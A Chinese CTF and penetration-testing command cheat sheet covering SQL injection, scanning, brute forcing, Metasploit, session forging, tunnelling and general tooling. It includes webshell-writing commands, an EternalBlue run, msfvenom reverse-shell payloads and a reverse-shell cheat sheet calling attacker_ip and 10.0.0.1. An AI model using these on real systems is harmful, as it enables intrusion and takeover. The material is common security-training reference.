前言 打 CTF 和做渗透测试时,工具命令经常忘、参数经常查。本文按场景分类整理了近 30 类常用工具的使用方法,涵盖数据库、SQL 注入、端口扫描、爆破、漏洞利用、Session 伪造、容器、反编译等,每条命令都附带可直接复制的示例。
一、数据库操作 1.1 MySQL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 sudo mysql -u rootcreate table ctfshow_user(username varchar(100), pass varchar(100)); insert into ctfshow_user(username, pass) values('admin' , '123' ); update ctfshow_user set pass='456' where username='admin' ; drop table ctfshow_user; alter table user change flag id varchar(100); show grants; show variables like '%secure%' ; select load_file('/etc/passwd' );select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php' ;show databases; use dbname; show tables; select column_name from information_schema.columns where table_name='xxx' ;
1.2 SQLite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 sqlite3 mydatabase.db .database .tables .schema user create table test ( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL ); insert into user (id , name) values (2, 'dsy' ); select * from test ;sqlite3 testDB.db .dump > testDB.sql sqlite3 testDB.db < testDB.sql .quit
1.3 Redis 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 redis-cli redis-cli -h 192.168.1.100 -p 6379 -a password keys * dbsize exists keyname get keyname type keynameSET username "zhangsan" mset k1 v1 k2 v2 k3 v3 mget k1 k2 append key value del keyname info config set dir /var/www/html config set dbfilename shell.php set x "<?php eval($_POST [1]);?>" save
二、SQL 注入 —— sqlmap 2.1 基础用法 1 2 3 4 5 6 7 8 9 10 11 python sqlmap.py -u "url?id=1" --batch --dbs python sqlmap.py -u "url?search=test" -p search --batch python sqlmap.py -u url --method=POST --data="username=admin&password=123" -p password --batch --dbs python sqlmap.py -u url -D ctfshow_web -T ctfshow_user -C id ,pass,username --dump --batch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 python sqlmap.py -u url --data "id=1" --cookie="PHPSESSID=xxx" --batch --dbs python sqlmap.py -u url -H 'X-Forwarded-For: 127.0.0.1' python sqlmap.py -u url -A 'Mozilla/5.0' python sqlmap.py -u url --host='target.com' python sqlmap.py -u url --method="PUT" --data "id=1" --headers="Content-Type: text/plain" --cookie="x=y" --batch --dbs
2.3 高级用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 python sqlmap.py -u url --data "id=1" --cookie="x=y" --safe-url="url" --safe-freq=1 --batch python sqlmap.py -u url --data "id=1" --tamper=space2comment,charencode --batch python sqlmap.py -u url --data "id=1" --os-shell python sqlmap.py -u url --file-read "/etc/passwd" python sqlmap.py -u url --file-write "local.php" --file-dest "/var/www/html/shell.php" python sqlmap.py -u url --level=5 --risk=3 --batch python sqlmap.py -u url --dbms=mysql
2.4 盲注专用参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 python sqlmap.py -u url --string='Welcome' python sqlmap.py -u url --regexp='User [a-z]+' python sqlmap.py -u url --code=200 python sqlmap.py -u url --not-string='Error' python sqlmap.py -u url --technique=B python sqlmap.py -u url --time-sec=2 python sqlmap.py -u url --skip=timestamp
2.5 常用 tamper 列表
tamper
作用
space2comment
空格替换为 /**/
charencode
对 payload 进行 URL 编码
charunicodeencode
Unicode 编码
base64encode
Base64 编码
equaltolike
= 替换为 LIKE
randomcase
随机大小写
between
> 替换为 BETWEEN
space2mysqlblank
空格替换为 MySQL 空白字符
三、端口扫描与信息收集 3.1 Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 nmap 192.168.1.1 nmap -p 1-1000 192.168.1.1 nmap -p 22,80,443,3306 192.168.1.1 nmap 192.168.1.1 192.168.1.2 nmap 192.168.1.1-100 nmap -sn 192.168.1.0/24 nmap -sS 192.168.1.0/24 nmap -sV 192.168.1.1 nmap -O 192.168.1.1 nmap -A 192.168.1.1 nmap -oA scan_results 192.168.1.0/24 nmap --script=vuln 192.168.1.1 nmap --script=http-enum 192.168.1.1
3.2 Arjun(参数发现) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 python arjun -u http://target.com/page -m GET python arjun -u http://target.com/page -m POST python arjun -u http://target.com/api -m JSON python arjun -u http://target.com -m GET --headers "Cookie: session=abc" --headers "Authorization: Bearer token" python arjun -u http://target.com -m GET -t 20
3.3 WAF 识别 1 2 3 4 5 wafw00f https://www.example.com nmap --script=http-waf-detect 192.168.1.1
3.4 目录扫描 —— ffuf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt ffuf -u http://target.com/uploads/FUZZ -w /tmp/num.txt:W1 -w /usr/share/wordlists/raft-medium-extensions-lowercase.txt:W2 -mode clusterbomb ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 403,404 ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301 ffuf -u http://target.com/login -w wordlist.txt -X POST -d "username=FUZZ&password=test"
3.5 其他扫描工具 1 2 3 4 5 6 7 8 9 10 11 12 whatweb https://target.com nikto -h https://target.com dirb https://target.com /usr/share/wordlists/dirb/big.txt gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt gobuster vhost -u https://target.com -w /usr/share/wordlists/dns/subdomains-top1m.txt
四、爆破工具 4.1 Hydra 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh hydra -l root -P passwd.txt -t 4 -vV 192.168.10.30 ssh hydra -L user.txt -P passwd.txt -t 2 -vV 192.168.10.30 ftp hydra -l root -P passwd.txt -t 6 -vV 192.168.10.150 mysql hydra -L user.txt -P passwd.txt -t 6 -vV 192.168.10.150 rdp hydra -l admin -P passwd.txt -t 6 -vV 192.168.10.150 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=login:Login failed" hydra -l admin -P passwd.txt -t 6 -vV 192.168.10.150 http-get "/admin/"
4.2 Crunch(字典生成) 1 2 3 4 5 6 7 8 9 10 11 crunch 4 4 0123456789 -o 4digits.txt crunch 4 4 0123456789abcdefghijklmnopqrstuvwxyz -o 4chars.txt crunch 6 8 0123456789 -o 6-8digits.txt crunch 8 8 -t pass%%%% -o pass+4digits.txt
4.3 John the Ripper 1 2 3 4 5 6 7 8 9 10 11 12 13 unshadow /etc/passwd /etc/shadow > hash.txt john hash.txt zip2john encrypted.zip > zip.hash john zip.hash john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --show hash.txt
4.4 Hashcat 1 2 3 4 5 6 7 8 9 10 11 12 hashid 'hash_string' hash-identifier hashcat -m 0 -a 0 hash.txt wordlist.txt hashcat -m 1400 -a 0 hash.txt wordlist.txt hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule
五、漏洞利用框架 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 msfconsole search ms17-010 search type :exploit platform:linux search mysql use exploit/windows/smb/ms17_010_eternalblue show options set rhosts 192.168.1.10set rport 445set lhost 192.168.1.5set lport 4444set payload windows/x64/meterpreter/reverse_tcprun exploit bg sessions -l sessions -i 1 route add 10.0.0.0 255.255.255.0 1 route print
5.2 msfvenom(Payload 生成) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=8.145.33.254 LPORT=44 -f elf -o shell.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f exe -o shell.exe msfvenom -p php/meterpreter_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f raw -o shell.php msfvenom -p python/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f raw -o shell.py msfvenom -p java/jsp_shell_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f war -o shell.war msfvenom --list payloads | grep reverse_tcp
5.3 SearchSploit 1 2 3 4 5 6 7 8 9 10 11 12 searchsploit apache 2.4 searchsploit wordpress searchsploit -x 12345 searchsploit -m 12345
六、Session / JWT 工具 6.1 flask-unsign(Flask Session) 1 2 3 4 5 6 7 8 flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6ImFkbWluIn0.xxx' flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImFkbWluIn0.xxx' --wordlist /usr/share/wordlists/rockyou.txt flask-unsign --sign --cookie '{"username":"admin","is_admin":true}' --secret 'mysecretkey'
Flask session 伪造脚本(Python 版):
1 2 3 4 5 python flask_session_cookie_manager3.py decode -s "secret_key" -c "session值" python flask_session_cookie_manager3.py encode -s "secret_key" -t '{"key":"value"}'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 python jwt_tool.py <jwt> -C -d /usr/share/wordlists/rockyou.txt python jwt_tool.py <jwt> python jwt_tool.py <jwt> -X a python jwt_tool.py <jwt> -X k -pk my_public.pem python jwt_tool.py <jwt> -I -pc username -pv admin
6.3 c-jwt-cracker 1 2 /home/c-jwt-cracker/jwtcrack <jwt>
七、内网 / 协议利用 7.1 Gopherus(Gopher 协议利用) 打 MySQL:
1 2 3 python gopherus.py --exploit mysql
打 Redis:
1 2 3 4 python gopherus.py --exploit redis
打 FastCGI(9000 端口):
1 2 3 python gopherus.py --exploit fastcgi
打 PostgreSQL:
1 2 3 4 python gopherus.py --exploit postgresql
7.2 Chisel(内网穿透) 1 2 3 4 5 6 ./chisel server -p 8080 --reverse ./chisel client vps_ip:8080 R:0.0.0.0:8081:127.0.0.1:80
7.3 Frp(内网穿透) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [common] bind_port = 7000 [common] server_addr = vps_ip server_port = 7000 [web] type = tcplocal_ip = 127.0.0.1 local_port = 80 remote_port = 8080
八、Web 工具 8.1 Fenjing(SSTI 自动化利用) 1 2 3 4 5 6 7 8 python -m fenjing webui python -m fenjing crack -u "http://target.com/{{7*7}}" --form-regex "49" python -m fenjing crack -u "http://target.com/page?name={{}}" --exec-cmd "cat /flag"
8.2 DVCS-Ripper(版本控制泄露) 1 2 3 4 5 6 7 8 ./rip-svn.pl -v -u http://www.example.com/.svn/ ./rip-cvs.pl -v -u http://www.example.com/CVS/ ./rip-git.pl -v -u http://www.example.com/.git/
8.3 GitHacker / GitHack 1 2 3 4 5 python GitHacker.py --url http://target.com/.git/ --output-folder ./result python GitHack.py http://target.com/.git/
九、流量分析 9.1 Scapy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 scapy show_interfaces() pkg = sniff(iface="eth0" , count=10, filter="icmp" ) pkg[0].show() wrpcap("capture.pcap" , pkg) pkg1 = rdpcap("capture.pcap" ) from scapy.all import * pkts = sniff(iface="eth0" , count=100, filter="tcp port 80" ) for pkt in pkts: if pkt.haslayer(Raw): print (pkt[Raw].load)
9.2 tcpdump 1 2 3 4 5 6 7 8 9 10 11 12 13 14 tcpdump -i eth0 tcpdump -i eth0 port 80 tcpdump -i eth0 -w capture.pcap tcpdump -r capture.pcap tcpdump -A -i eth0 port 80
9.3 Wireshark 常用过滤 1 2 3 4 5 6 http.request.method == "POST" http contains "flag" tcp.port == 4444 dns icmp tcp.stream eq 0
十、提权与信息收集 10.1 LinEnum 1 2 3 4 5 6 7 chmod a+x LinEnum.sh./LinEnum.sh -r report -e /tmp/ -t
10.2 Linux 基础提权信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 uname -afind / -perm -4000 -type f 2>/dev/null sudo -lcat /etc/crontabfind / -writable -type d 2>/dev/null ps aux netstat -antp ss -antp cat ~/.bash_historysudo -i
10.3 GTFOBins 速记 1 2 3 4 5 6 7 8 9 10 11 12 find . -exec /bin/sh -p \; -quit vim -c ':!/bin/sh' less /etc/passwd awk 'BEGIN {system("/bin/sh")}'
十一、Docker 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 sudo systemctl start dockersudo docker search nginxdocker pull nginx:latest docker image ls docker rmi <IMAGE_ID> docker run -d --name mynginx -p 88:80 nginx docker ps docker ps -a docker start <CONTAINER_ID> docker stop <CONTAINER_ID> docker restart <CONTAINER_ID> docker stats <CONTAINER_ID> docker exec -it mynginx /bin/bash docker logs mynginx docker commit -m "description" mynginx mynginx:v2 docker save -o mynginx.tar mynginx:v2 docker load -i mynginx.tar docker run -d -p 80:80 -v /app/nghtml:/usr/share/nginx/html --name app01 nginx docker run -d -p 80:80 -v nghtml:/usr/share/nginx/html --name app01 nginx docker volume ls docker tag mynginx:v1.0 username/mynginx:latest docker push username/mynginx:latest docker network ls docker system prune -a
十二、反编译 12.1 Java Decompiler 1 2 3 4 5 6 7 8 java -jar java-decompiler.jar -log =warn d:/my.class d:/decompiled java -jar java-decompiler.jar -log =warn d:/my.jar d:/decompiled java -jar java-decompiler.jar -log =warn d:/my d:/decompiled
12.2 其他反编译工具 1 2 3 4 5 6 7 8 9 10 11 12 jadx target.apk jadx-gui target.apk java -jar cfr.jar target.jar --outputdir ./output
十三、Python 开发环境 13.1 虚拟环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 python3 -m venv ~/myenv source ~/myenv/bin/activate~/myenv/Scripts/activate deactivate pip install ratelimit requests pip freeze > requirements.txt pip install -r requirements.txt
13.2 快速 HTTP 服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 python3 -m http.server 8080 python -m SimpleHTTPServer 8080 php -S 0.0.0.0:8080 nc -lvp 4444 > received_file nc target_ip 4444 < file_to_send
十四、IDE 与编辑器 14.1 IntelliJ IDEA 1 2 3 4 5 6 7 8 9 Ctrl+Shift+F 在项目中全局搜索(Find in Path) Ctrl+Alt+F7 在项目和库中搜索用法 Ctrl+F12 查看当前文件所有方法和类 Ctrl+Shift+F8 断点视图 Ctrl+Alt+L 格式化代码 Ctrl+D 复制当前行 Ctrl+Y 删除当前行 Ctrl+Shift+Enter 补全当前语句 Alt+Insert 自动生成(getter/setter/构造器等)
JetBrains 全系列产品激活:
14.2 VS Code 1 2 3 4 5 6 7 8 Ctrl+Shift+P 命令面板 Ctrl+P 快速打开文件 Ctrl+Shift+F 全局搜索 Ctrl+D 选中下一个相同单词 Ctrl+F2 选中所有相同单词 Ctrl+/ 注释 Alt+↑/↓ 移动行 Ctrl+` 打开终端
十五、其他实用工具速查 15.1 XFTP / XShell
15.2 ssh 常用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ssh user@192.168.1.100 ssh -p 2222 user@192.168.1.100 ssh -i ~/.ssh/id_rsa user@192.168.1.100 ssh -L 8080:127.0.0.1:80 user@vps ssh -R 8080:127.0.0.1:80 user@vps scp local_file user@remote:/path/ scp -r local_dir user@remote:/path/ sudo shutdown -h now
15.3 压缩 / 解压 1 2 3 4 5 6 7 8 9 10 11 12 13 tar -cvf archive.tar folder/ tar -xvf archive.tar tar -czvf archive.tar.gz folder/ tar -xzvf archive.tar.gz zip -r archive.zip folder/ unzip archive.zip 7z x archive.7z 7z a archive.7z folder/
15.4 curl 常用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 curl http://target.com/api curl -X POST http://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}' curl -X POST http://target.com/login -d "username=admin&password=123" curl http://target.com -H "Cookie: session=xxx" curl http://target.com -H "X-Forwarded-For: 127.0.0.1" curl -I http://target.com curl -L http://target.com curl -x http://127.0.0.1:8080 http://target.com
15.5 netcat 1 2 3 4 5 6 7 8 9 10 11 12 13 nc -lvp 4444 nc 192.168.1.1 80 nc -e /bin/bash attacker_ip 4444 bash -i >& /dev/tcp/attacker_ip/4444 0>&1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip 4444 >/tmp/f
附录 A:Kali 自带常用字典路径
字典
路径
dirb
/usr/share/wordlists/dirb/
rockyou
/usr/share/wordlists/rockyou.txt.gz
SecLists
/usr/share/seclists/
附录 B:反弹 Shell 速查表 1 2 3 4 5 6 7 8 9 10 11 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
本文持续更新中,最后更新于 2026-07-23。